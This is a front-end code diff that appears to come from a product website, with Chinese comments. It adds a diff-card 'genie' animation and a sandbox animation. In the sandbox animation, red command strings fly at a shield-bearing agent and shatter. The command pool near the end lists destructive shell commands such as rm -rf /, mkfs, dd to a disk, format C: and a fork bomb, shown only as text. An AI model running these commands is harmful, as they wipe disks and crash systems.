pen.style.transform = 'rotate(' + (90 * (1 - e)).toFixed(1) + 'deg)';
setPen(backFromX + (backToX - backFromX) * e, backFromY + (backToY - backFromY) * e);
}, myGen);
pen.classList.remove('is-erasing');
pen.style.transform = '';
// 6) 写上绿色新内容笔尖跟随右端is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
pen.classList.add('is-writing');
var addChars = dlineChars[dlines.indexOf(addDline)];
var aN = addChars.length;
var nextAdd = 0;
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
await tween(writeMs, function (p) {
line.style.width = (newW * easeOut(p)) + '%';
nibToLineTip(line, sr);
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
var t2 = lineTip(line, sr);
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
nextAdd++;
}
}, myGen);
pen.classList.remove('is-writing');
}
/* genie · DOM
每帧把 S 曲线轮廓底部先收窄侧边弧线顶部后动算成 pathfill 纸色+描边跟随
裁掉轮廓外的部分裁切不压缩内容全程原样清晰
文字随轮廓中心移动矢量缩小字号终态轮廓恰好是插在盒口的小矩形
三轮播完后动画可逆点击盒内卡片按原路径倒出查看genieRun dir=-1 */
/* genie 时序:塞入/倒出共用。833/533= 原 1000/640 再提 1.2 倍速,相位结构不变) */
var GENIE_TOTAL = 833;
var GENIE_SLICE = 533;
var GENIE_MAXDELAY = GENIE_TOTAL - GENIE_SLICE;
/* genie 几何参数:收盒时算一次缓存到 flight._geom倒出时原样复用 */
function computeGenieGeom(flight, r) {
var sr = stageRect();
var br = toLocal(boxBack.getBoundingClientRect(), sr);
var px = +flight.dataset.px, py = +flight.dataset.py;
var W = +flight.dataset.w, H = +flight.dataset.h;
/* 盒口中心stage 坐标):图标 y=12/24 处为盒口前缘线 */
var mouthX = br.left + br.width / 2;
/* 收盒顺序 3→2→1第一轮收最里面最后一轮收最前后收的挡先收的 */
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
var sinkY = spec.bottomY - (py + H);
return {
W: W, H: H, sinkY: sinkY,
centerDx: mouthX - (px + W / 2),
minS: (br.width * spec.wRatio) / W,
compressH: spec.topY - py - sinkY
};
}
/* genie p0=1= S 线
正放收盒与倒放倒出共用倒放只是 p 1 走回 0返回轮廓包围盒 */
function genieFrame(flight, g, p) {
var shape = flight._shapeEl;
var name = flight._nameEl;
var stat = flight._statEl;
var W = g.W, H = g.H, sinkY = g.sinkY, centerDx = g.centerDx;
var minS = g.minS, compressH = g.compressH;
/* 交错相位运动:底部先动先快,顶部延迟;侧边 72 段采样≈1.6px/段)平滑无锯齿 */
var N = 72;
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
var now = p * GENIE_TOTAL;
var L = [], R = [];
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
for (var i = 0; i < N; i++) {
var v = (i + 0.5) / N;
var start = (1 - v) * GENIE_MAXDELAY;
var q = Math.min(Math.max((now - start) / GENIE_SLICE, 0), 1);
var e = easeInOut(q);
var sx = 1 - (1 - minS) * e;
var ty = (sinkY + (1 - v) * compressH) * e;
var tx = centerDx * e;
var lw = W * sx;
var lx = (W - lw) / 2 + tx, rx = lx + lw;
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
L.push([lx, yt], [lx, yb]);
R.push([rx, yt], [rx, yb]);
if (lx < minX) minX = lx;
if (rx > maxX) maxX = rx;
if (yt < minY) minY = yt;
if (yb > maxY) maxY = yb;
}
/* Q = RR
/底边内缩 RR侧边从 ±RR 处起笔落在角区内的端部小段跳过/截断
这样 Q 跨距 RR×RR等效圆角与端点 roundedRectD r=3.5 圆弧视觉一致
早前版本侧边只跨一个切片H/N1.7pxQ 被压成 ~1px 微圆角直角
倒放到位切换 roundedRectD 时圆角瞬间跳变bug */
var f = function (n) { return n.toFixed(1); };
var lt = L[0], rt = R[0];
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
var RRe = Math.min(RR, (rt[0] - lt[0]) / 2, (rbN[0] - lbN[0]) / 2, (lbN[1] - lt[1]) / 2);
var rtIn = lt[1] + RRe, rbIn = rbN[1] - RRe; /* 右侧:上角区下沿 / 下角区上沿 */
var ltIn = lt[1] + RRe, lbIn = lbN[1] - RRe; /* 左侧:上角区下沿 / 下角区上沿 */
var d = 'M' + f(lt[0] + RRe) + ',' + f(lt[1]);
d += ' L' + f(rt[0] - RRe) + ',' + f(rt[1]);
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rt[0]) + ',' + f(rtIn); /* 右上 */
for (var i = 0; i < N; i++) {
var u2 = R[i * 2], d2 = R[i * 2 + 1];
if (d2[1] <= rtIn || u2[1] >= rbIn) continue; /* 整段落在角区内 */
var ax = u2[0], ay = u2[1], bx = d2[0], by = d2[1];
if (ay < rtIn) { var s = (rtIn - ay) / (by - ay); ax += (bx - ax) * s; ay = rtIn; }
if (by > rbIn) { var s2 = (rbIn - ay) / (by - ay); bx = ax + (bx - ax) * s2; by = rbIn; }
d += ' L' + f(ax) + ',' + f(ay);
d += ' L' + f(bx) + ',' + f(by);
}
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RRe) + ',' + f(rbN[1]); /* 右下 */
d += ' L' + f(lbN[0] + RRe) + ',' + f(lbN[1]); /* 底边 */
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(lbN[0]) + ',' + f(lbIn); /* 左下 */
for (var j = N - 1; j >= 0; j--) {
var dn = L[j * 2 + 1], up = L[j * 2];
if (dn[1] <= ltIn || up[1] >= lbIn) continue; /* 整段落在角区内 */
var cx2 = dn[0], cy2 = dn[1], dx2 = up[0], dy2 = up[1];
if (cy2 > lbIn) { var s3 = (lbIn - dy2) / (cy2 - dy2); cx2 = dx2 + (cx2 - dx2) * s3; cy2 = lbIn; }
if (dy2 < ltIn) { var s4 = (ltIn - cy2) / (dy2 - cy2); dx2 = cx2 + (dx2 - cx2) * s4; dy2 = ltIn; }
d += ' L' + f(cx2) + ',' + f(cy2);
d += ' L' + f(dx2) + ',' + f(dy2);
}
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RRe) + ',' + f(lt[1]); /* 左上 */
d += ' Z';
shape.setAttribute('d', d);
/*
font-size 必须内联 stylepresentation attribute 优先级低于 CSS 规则会被压住 */
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
var sc = (maxX - minX) / W;
/* 字号双保险随收窄等比缩且不超过卡片宽能放下的上限mono 字宽 ≈0.62em */
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
var fs2 = Math.max(11 * sc, 7);
name.setAttribute('x', cx);
name.setAttribute('y', cy - 2);
name.style.fontSize = fs1.toFixed(1) + 'px';
stat.setAttribute('x', cx);
stat.setAttribute('y', cy + fs2 + 2);
stat.style.fontSize = fs2.toFixed(1) + 'px';
return { x: minX, y: minY, w: maxX - minX, h: maxY - minY };
}
/* genie 正放(收盒 dir=1/ 倒放(倒出 dir=-1同一套帧函数双向驱动 */
async function genieRun(myGen, flight, dir) {
var g = flight._geom;
var lastBox = null;
await tween(GENIE_TOTAL, function (p) {
lastBox = genieFrame(flight, g, dir > 0 ? p : 1 - p);
}, myGen);
/* 端点定格为精确圆角矩形(收盒=盒口堆叠小卡;倒出=完整封面),消除折线近似 */
if (dir > 0) {
flight._shapeEl.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
flight._lastBox = lastBox;
} else {
flight._shapeEl.setAttribute('d', roundedRectD(0, 0, g.W, g.H, 3.5));
}
}
async function genieIntoBox(myGen, r, flight) {
flight._geom = computeGenieGeom(flight, r);
var g = flight._geom;
flight.style.height = (g.H + g.sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
await genieRun(myGen, flight, 1);
}
/* SVG 工具SVG 元素必须用 createElementNS 创建createElement 建的不渲染) */
var SVG_NS = 'http://www.w3.org/2000/svg';
function svgEl(tag, cls) {
var e = document.createElementNS(SVG_NS, tag);
if (cls) e.setAttribute('class', cls);
return e;
}
/* 圆角矩形 path初始封面与终态卡片用genie 期间为直边多边形) */
function roundedRectD(x, y, w, h, r) {
return 'M' + (x + r) + ',' + y +
' L' + (x + w - r) + ',' + y +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
' L' + (x + w) + ',' + (y + h - r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
' L' + (x + r) + ',' + (y + h) +
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
' L' + x + ',' + (y + r) +
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
}
/* SVGpath +text +
diff 内容直接消失卡片是 SVG 单元素描边跟随 path 轮廓S 曲线斜边也有 */
async function showFileCover(r, myGen) {
var sr = stageRect();
var pr = toLocal(diffView.getBoundingClientRect(), sr);
var px = pr.left, py = pr.top;
var W = pr.width, H = pr.height;
var flight = svgEl('svg', 'file-flight');
flight.style.left = px + 'px';
flight.style.top = py + 'px';
flight.style.width = W + 'px';
flight.style.height = H + 'px';
/* 创建即设层级(先收最里 21后收在前封面期就必须在 diffView(z20) 之上 */
flight.style.zIndex = String(21 + r);
flight.dataset.px = px; flight.dataset.py = py;
flight.dataset.w = W; flight.dataset.h = H;
var shape = svgEl('path', 'file-flight-shape');
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
var name = svgEl('text', 'file-cover-name');
name.setAttribute('x', W / 2);
name.setAttribute('y', H / 2 - 3);
name.setAttribute('text-anchor', 'middle');
name.textContent = ROUNDS[r].file;
var stat = svgEl('text', 'file-cover-stat');
stat.setAttribute('x', W / 2);
stat.setAttribute('y', H / 2 + 14);
stat.setAttribute('text-anchor', 'middle');
var add = svgEl('tspan', 'add'); add.textContent = '+2';
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
stat.appendChild(add);
stat.appendChild(del);
flight.appendChild(shape);
flight.appendChild(name);
flight.appendChild(stat);
flight._shapeEl = shape; flight._nameEl = name; flight._statEl = stat; /* genie 帧渲染复用,免每帧 querySelector */
stage.appendChild(flight);
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式getComputedStyle 才强制样式计算,定格 opacity 0 */
flight.classList.add('is-on');
await step(800, myGen); /* 等封面渐变动画完全结束730ms + 余量) */
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
return flight;
}
/* diff no-fade is-shown
红绿底色会以 0.3s 淡出形式闪一下有底色无文字禁用后瞬时消失无残影 */
function resetDiffForRound(r) {
setDiffTexts(r);
diffView.classList.add('no-fade');
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
diffView.classList.remove('is-sheet');
buildDlineChars();
diffView.style.visibility = '';
diffView.style.opacity = ''; /* 恢复渐隐前的可见no-fade 下瞬间生效,无闪) */
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
diffView.classList.remove('no-fade');
}
/* 纸上复现新一轮 4 行内容(长短不一):旧行淡出 → 换行宽 → 淡入 */
async function refillPaper(r, myGen) {
paper.classList.add('is-refilling');
await step(300, myGen);
lines.forEach(function (l, i) {
l.classList.remove('is-new');
l.dataset.w = ROUNDS[r].paperW[i];
});
applyWidths();
paper.classList.remove('is-refilling');
await step(400, myGen);
}
/*
hover 微微向上抬+向右倾选中感点击倒放 genie 倒出卡片内容渐变为该轮 diff
再点或点空白正放收回可反复查看热区是独立 divSVG 卡片本体
pointer-events none且三层卡只露出顶边一截热区按各卡露出顶边条带定位
重叠区归层级更高的更靠前的卡与视觉所见一致 */
var flights = [];
var hotspots = [];
var replayDiffEl = null;
var browse = { active: false, opened: -1, busy: false };
/* 214 +
最前卡的可见区本就一直延伸到这里三张卡热区互相重叠的部分由 z-index 自然归更靠前的卡与视觉一致 */
var CARD_HOT_BOTTOM = 220;
function enableBrowse() {
browse.active = true;
flights.forEach(function (flight, r) {
if (!flight || !flight._lastBox) return;
var lb = flight._lastBox;
var hot = el('div', 'card-hotspot');
var topPx = +flight.dataset.py + lb.y;
hot.style.left = (+flight.dataset.px + lb.x) + 'px';
hot.style.top = topPx + 'px';
hot.style.width = lb.w + 'px';
hot.style.height = (CARD_HOT_BOTTOM - topPx) + 'px';
hot.style.zIndex = String(31 + r);
hot.addEventListener('mouseenter', function () {
if (browse.busy || browse.opened === r) return;
flight.classList.add('is-hover');
});
hot.addEventListener('mouseleave', function () {
flight.classList.remove('is-hover');
});
hot.addEventListener('click', function (ev) {
ev.stopPropagation();
pauseAutoplay(); /* 按下卡片:暂停轮播 5 秒,点哪张看哪张 */
onCardClick(r);
});
stage.appendChild(hot);
hotspots.push(hot);
});
/* 收盒完成,停 2 秒让观众看清堆叠结果,再自动开始轮播 */
var g = gen;
rafWait(2000).then(function () { if (browse.active && g === gen) startAutoplay(); });
}
function disableBrowse() {
stopAutoplay();
browse.active = false;
browse.opened = -1;
browse.busy = false;
pendingCardClick = -1;
hotspots.forEach(function (h) { h.parentNode && h.parentNode.removeChild(h); });
hotspots = [];
flights = [];
removeReplayDiff();
}
async function onCardClick(r) {
/* 点已展开的卡:无操作(轮播中先停轮播,走到这保持展开) */
if (browse.opened === r && !autoplay.on) return;
/* 切换动画进行中点击:记录意图,当前动画完成后执行(不被 busy 吞掉) */
if (browse.busy) { pendingCardClick = r; return; }
browse.busy = true;
pendingCardClick = -1;
try {
/*
opened 先占位新卡两路动画各自驱动各自的 flight互不干扰 */
var prev = browse.opened;
browse.opened = r;
var tasks = [openCardInner(r)];
if (prev >= 0) tasks.push(closeCardInner(prev));
await Promise.all(tasks);
} catch (e) {
if (e && e.message !== 'cancelled') throw e;
}
browse.busy = false;
if (pendingCardClick >= 0) {
var p = pendingCardClick;
pendingCardClick = -1;
onCardClick(p);
}
}
/* 倒出卡片:倒放 genie最后 350ms 封面文字淡出、该轮 diff 逐行淡入(并行收尾) */
async function openCardInner(r) {
var myGen = gen;
var flight = flights[r];
browse.opened = r;
flight.classList.remove('is-hover');
if (hotspots[r]) hotspots[r].style.display = 'none';
var pouring = genieRun(myGen, flight, -1);
await step(GENIE_TOTAL - 350, myGen);
flight.classList.add('is-bare');
showReplayDiff(r);
await pouring;
}
/* rdiff + genie
只负责收回本身不碰 browse.opened由调用方管理支持收回/倒出并行 */
async function closeCardInner(r) {
var myGen = gen;
var flight = flights[r];
if (replayDiffEl) {
var d = replayDiffEl;
replayDiffEl = null;
d.classList.add('is-closing');
setTimeout(function () { d.parentNode && d.parentNode.removeChild(d); }, 260);
}
flight.classList.remove('is-bare');
await step(160, myGen);
await genieRun(myGen, flight, 1);
if (hotspots[r]) hotspots[r].style.display = '';
}
/* 展开后的 diff 层:位置同 diffView卡片倒出落点四行逐行淡入点击它即收回 */
function showReplayDiff(r) {
removeReplayDiff();
var e = ROUNDS[r].edits;
var rows = [
{ t: e[0].del, c: 'is-del', s: '-' },
{ t: e[0].add, c: 'is-add', s: '+' },
{ t: e[1].del, c: 'is-del', s: '-' },
{ t: e[1].add, c: 'is-add', s: '+' }
];
var d = el('div', 'replay-diff');
rows.forEach(function (row, i) {
var line = el('div', 'dline is-shown ' + row.c);
line.style.transitionDelay = (i * 70) + 'ms';
var sign = el('span', 'dsign'); sign.textContent = row.s;
var text = el('span', 'dtext'); text.textContent = row.t;
line.appendChild(sign);
line.appendChild(text);
d.appendChild(line);
});
d.addEventListener('click', function (ev) {
ev.stopPropagation();
closeOpenedCard();
});
stage.appendChild(d);
getComputedStyle(d).opacity; /* 强制样式计算:起始 opacity 0 定格后再开过渡 */
d.classList.add('is-on');
replayDiffEl = d;
}
function removeReplayDiff() {
if (replayDiffEl) { replayDiffEl.parentNode && replayDiffEl.parentNode.removeChild(replayDiffEl); replayDiffEl = null; }
}
function closeOpenedCard() {
pauseAutoplay(); /* 用户手动收回卡片:同样暂停轮播 5 秒 */
if (browse.busy || browse.opened < 0) return;
browse.busy = true;
var r = browse.opened;
browse.opened = -1;
closeCardInner(r).then(function () { browse.busy = false; }, function (err) {
browse.busy = false;
if (err && err.message !== 'cancelled') throw err;
});
}
/* /
用户按下卡片或手动收回暂停 5 之后自动恢复 */
var AUTOPLAY_DWELL = 4000; /* 每次切换间隔(倒出 833ms + diff 淡入 + 阅读停留) */
var AUTOPLAY_PAUSE_MS = 5000; /* 用户操作后暂停轮播的时长 */
var autoplay = { on: false, timer: null, resumeTimer: null, idx: -1 };
var pendingCardClick = -1;
function startAutoplay() {
if (!browse.active || autoplay.on) return;
autoplay.on = true;
autoplay.idx = browse.opened; /* 从当前展开卡的下一张开始;无展开则从第 1 张开始 */
autoplayTick();
}
/* /
timer 是标识对象而非 setTimeout id轮播间隔由 rafWait 驱动回调比对引用失效即放弃 */
function stopAutoplay() {
autoplay.on = false;
autoplay.timer = null;
if (autoplay.resumeTimer) { clearTimeout(autoplay.resumeTimer); autoplay.resumeTimer = null; }
}
/* 暂停 5 秒用户操作时期间轮播不动作5 秒后自动恢复 */
function pauseAutoplay() {
autoplay.on = false;
autoplay.timer = null;
if (autoplay.resumeTimer) clearTimeout(autoplay.resumeTimer);
autoplay.resumeTimer = setTimeout(function () {
autoplay.resumeTimer = null;
if (browse.active) startAutoplay();
}, AUTOPLAY_PAUSE_MS);
}
function autoplayTick() {
if (!autoplay.on) return;
autoplay.idx = (autoplay.idx + 1) % flights.length;
onCardClick(autoplay.idx);
var t = autoplay.timer = {};
rafWait(AUTOPLAY_DWELL).then(function () {
if (autoplay.on && autoplay.timer === t) autoplayTick();
});
}
async function play() {
var myGen = ++gen;
try {
for (var r = 0; r < ROUNDS.length; r++) {
// 0) 首轮等待开场(后续轮的纸面换新已并入上一轮收盒期间并行完成,无需等待)
if (r === 0) {
await step(650, myGen);
}
// 1) 笔飞到纸上,先后改写第 2、3 行;擦旧行时红行 - 飘出,写新行时绿行 + 飘出diff 实时构建)
await rewriteLine(lines[1], ROUNDS[r].edits[0].newW, dlines[0], dlines[1], myGen);
await rewriteLine(lines[2], ROUNDS[r].edits[1].newW, dlines[2], dlines[3], myGen);
// 2) 笔飞回智能体右侧(不再空等:飞行 500ms 与封面渐现 520ms 并行重叠)
penPos.classList.remove('is-live');
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
// 3) 收件箱始终显示(页面加载即在,无淡入步骤)
// 4) 文件卡片渐变出现diff 内容直接消失)→ genie 裁切收进盒子(先收最里,再依次向前)
var flight = await showFileCover(r, myGen);
flights[r] = flight;
if (r < ROUNDS.length - 1) {
// 5) 收盒与下一轮内容浮现同时进行diff 区在封面下瞬时重建(不可见),
// 纸面淡出旧行、淡入新行——卡片插进盒子时,下一轮的内容已就位
resetDiffForRound(r + 1);
var collecting = genieIntoBox(myGen, r, flight);
await refillPaper(r + 1, myGen);
await collecting;
} else {
await genieIntoBox(myGen, r, flight);
// 6) 末轮三张卡全部收盒后进入可查看交互hover 微倾/点击倒出)
enableBrowse();
}
}
} catch (e) {
if (e && e.message !== 'cancelled') throw e;
}
}
/* stage 空白点击只承担「收回展开卡」(轮播由 pauseAutoplay 暂停) */
stage.addEventListener('click', function () {
if (browse.active && browse.opened >= 0) closeOpenedCard();
});
updateScale();
applyWidths();
penPos.classList.add('is-live'); /* 初始就位瞬移 */
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
void penPos.offsetWidth; /* 强制样式计算后再恢复过渡 */
penPos.classList.remove('is-live');
/* 进入视口才开始播放:页面打开时用户可能还没滚到功能区,避免错过开场 */
var started = false;
var io = new IntersectionObserver(function (entries) {
if (!started && entries[0].isIntersecting) {
started = true;
io.disconnect();
play();
}
}, { threshold: 0.3 });
io.observe(container);
}
return { init: init };
})();

View File

@ -0,0 +1,111 @@
/* 沙箱与网络授权动画 场景样式主页 feature / anim2-demo 页共用
无边框无底色融于星空 glow恶意命令红 --danger 定义在 .anim2-window 作用域 */
/* ───────── 动画容器 ───────── */
.anim2-window {
--danger: #d47b6b; /* 恶意命令红,仅本动画作用域 */
width: 100%;
height: 100%;
display: flex;
flex-direction: column;
}
/* ───────── 场景区 ───────── */
.anim2-stage {
position: relative;
flex: 1;
overflow: hidden;
}
/* 防御者:右侧,六边形 + 盾牌(尺寸与 04 版本控制的智能体一致70×70 */
.defender {
position: absolute;
right: 36px;
bottom: 26px;
width: 70px;
height: 70px;
}
.defender-avatar {
display: block;
width: 70px;
height: 70px;
color: var(--text-1);
}
.defender-avatar .astrion-avatar { width: 100%; height: 100%; }
/* 盾牌举向左上方:顺时针倾斜(尖底朝左下),与六边形左上部分重叠遮挡,实色填充不透底 */
.defender-shield {
position: absolute;
left: -19px; /* 与角色同比例96→70×0.729)等比缩小 */
top: -9px;
width: 51px;
height: 51px;
color: var(--accent);
fill: var(--bg-1);
transform: rotate(24deg);
}
/* 盾牌/智能体受击后坐回弹 */
@keyframes defender-brace {
0% { transform: translateX(0); }
30% { transform: translateX(5px); }
60% { transform: translateX(-1.5px); }
100% { transform: translateX(0); }
}
.defender.is-hit { animation: defender-brace 0.34s ease; }
/* ───────── 飞行中的命令块 ───────── */
.cmd-projectile {
position: absolute;
left: 0;
top: 0;
font-family: var(--font-mono);
font-size: 13.5px;
font-weight: 600;
color: var(--danger);
white-space: nowrap;
will-change: transform;
/* 装填入场只动透明度fill both 保持 transform 会压住 JS 逐帧位移动画 */
animation: cmd-load 0.4s ease both;
}
@keyframes cmd-load {
from { opacity: 0; }
to { opacity: 1; }
}
/* ───────── 字符碎片(撞击后炸开) ───────── */
.cmd-shard {
position: absolute;
left: 0;
top: 0;
font-family: var(--font-mono);
font-size: 13.5px;
font-weight: 600;
color: var(--danger);
will-change: transform, opacity;
}
/* ───────── 撞击扩散环(描边圆环,非光晕) ───────── */
.impact-ring {
position: absolute;
width: 41px; /* 随盾牌等比56×0.729 */
height: 41px;
border: 2px solid var(--accent-strong);
border-radius: 50%;
opacity: 0;
pointer-events: none;
transform: translate(-50%, -50%) scale(0.3);
}
.impact-ring.is-active {
animation: impact-expand 0.45s ease-out both;
}
@keyframes impact-expand {
0% { opacity: 0.75; transform: translate(-50%, -50%) scale(0.3); }
100% { opacity: 0; transform: translate(-50%, -50%) scale(1.35); }
}

View File

@ -0,0 +1,375 @@
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用
* AnimSandbox.init(container)在容器内建 DOM 并自动无限循环播放
* 每轮随机 20 条恶意命令15 + 5 弹道参数全随机角度/速度/弧度各异
* 抛向持盾智能体撞击后字符炸开飞散无按钮无说明行
*/
window.AnimSandbox = (function () {
'use strict';
function init(container) {
container.innerHTML =
'<div class="anim2-window">' +
'<div class="anim2-stage">' +
'<div class="defender">' +
'<span class="defender-avatar"></span>' +
'<svg class="defender-shield" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true">' +
'<path d="M20 13c0 5-3.5 7.5-7.66 8.95a1 1 0 0 1-.67-.01C7.5 20.5 4 18 4 13V6a1 1 0 0 1 1-1c2 0 4.5-1.2 6.24-2.72a1.17 1.17 0 0 1 1.52 0C14.51 3.81 17 5 19 5a1 1 0 0 1 1 1z"/>' +
'</svg>' +
'</div>' +
'<div class="impact-ring" aria-hidden="true"></div>' +
'</div>' +
'</div>';
var stage = container.querySelector('.anim2-stage');
var defender = container.querySelector('.defender');
var shield = container.querySelector('.defender-shield');
var ring = container.querySelector('.impact-ring');
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
}
var gen = 0;
/* rAF rAF
setTimeout 在后台只是降频不会停会攒动画导致恢复瞬间全部放完 */
function rafWait(ms) {
return new Promise(function (resolve) {
var acc = 0, last = performance.now();
function tick(now) {
acc += Math.min(now - last, 100); /* 恢复后首帧 dt 巨大,截断防跳变 */
last = now;
if (acc >= ms) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
async function step(ms, myGen) {
await rafWait(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls, text) {
var e = document.createElement(tag);
if (cls) e.className = cls;
if (text != null) e.textContent = text;
return e;
}
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
function eachFrame(fn, myGen) {
return new Promise(function (resolve) {
var last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
var dt = Math.min((now - last) / 1000, 0.05);
last = now;
if (fn(dt) === false) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function stageRect() { return stage.getBoundingClientRect(); }
/** 盾牌中心stage 相对坐标) */
function shieldCenter() {
var sr = stageRect();
var r = shield.getBoundingClientRect();
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
}
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
async function fire(cmd, opts, myGen) {
var block = el('div', 'cmd-projectile', cmd);
stage.appendChild(block);
var w = block.offsetWidth;
var h = block.offsetHeight;
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
var shieldC = shieldCenter();
shieldC.y += opts.aim || 0;
var start = { x: 14, y: opts.startY };
var vx = opts.vx;
// 先以出场位粗解发射角 → 定蓄力后拉方向
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
var rad0 = Math.atan2(vyEst, vx);
var pullDist = 22;
var pullX = start.x - Math.cos(rad0) * pullDist;
var pullY = start.y - Math.sin(rad0) * pullDist;
// 轨迹起点 = 蓄力位
var ox = pullX;
var oy = pullY;
var ocx = ox + w / 2;
var ocy = oy + h / 2;
// 最右字符在块内(未旋转)相对块中心的偏移
var lxLast, lyLast;
if (offsets && offsets.length) {
var lo = offsets[offsets.length - 1];
lxLast = lo.x + lo.w / 2 - w / 2;
lyLast = lo.y + lo.h / 2 - h / 2;
} else {
lxLast = w / 2;
lyLast = 0;
}
// 求解 vy0让最右字符不是块中心精确扫过盾心。
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
var Tc = (shieldC.x - ocx) / vx;
var aimY = shieldC.y;
var vy0 = 0;
var hit = null;
for (var iter = 0; iter < 3; iter++) {
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
for (var t = 0.004; t < 6; t += 0.004) {
var rr = Math.atan2(vy0 + G * t, vx);
var cosR = Math.cos(rr);
var sinR = Math.sin(rr);
var ccx = ocx + vx * t;
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
var fx = ccx + lxLast * cosR - lyLast * sinR;
var fy = ccy + lxLast * sinR + lyLast * cosR;
var ddx = fx - shieldC.x;
var ddy = fy - shieldC.y;
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
if (fx > shieldC.x + 80) break; // 已飞过盾牌
}
hit = { t: best.t, ang: best.ang };
if (best.d <= 4) break;
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
}
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
// 出场:直接在起点摆好仰角
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(240, myGen);
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(460, myGen);
block.style.transition = 'none';
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
var elapsed = 0;
await eachFrame(function (dt) {
elapsed += dt;
if (elapsed >= hit.t) return false;
var px = ox + vx * elapsed;
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
return true;
}, myGen);
if (myGen !== gen) throw new Error('cancelled');
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
var hitX = ox + vx * hit.t;
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
impactFX();
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
}
/* ── 无限循环:每轮随机 20 条15 短 + 5 长),随机弹道射向盾牌 ── */
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
function swallowCancel(e) {
if (e && e.message !== 'cancelled') throw e;
}
/* 短命令池(长度对齐原沙箱情节的 rm -rf / · del /f /s /q C:\ · mkfs /dev/sda1 */
var SHORT_CMDS = [
'rm -rf /',
'del /f /s /q C:\\',
'mkfs /dev/sda1',
'sudo rm -rf ~',
'format C:\\',
'chmod -R 777 /',
'wipefs -a /dev/sdb',
':(){:|:&};:',
'rm -rf /home',
'rd /s /q C:\\',
'dd of=/dev/sda',
'rm -rf /usr',
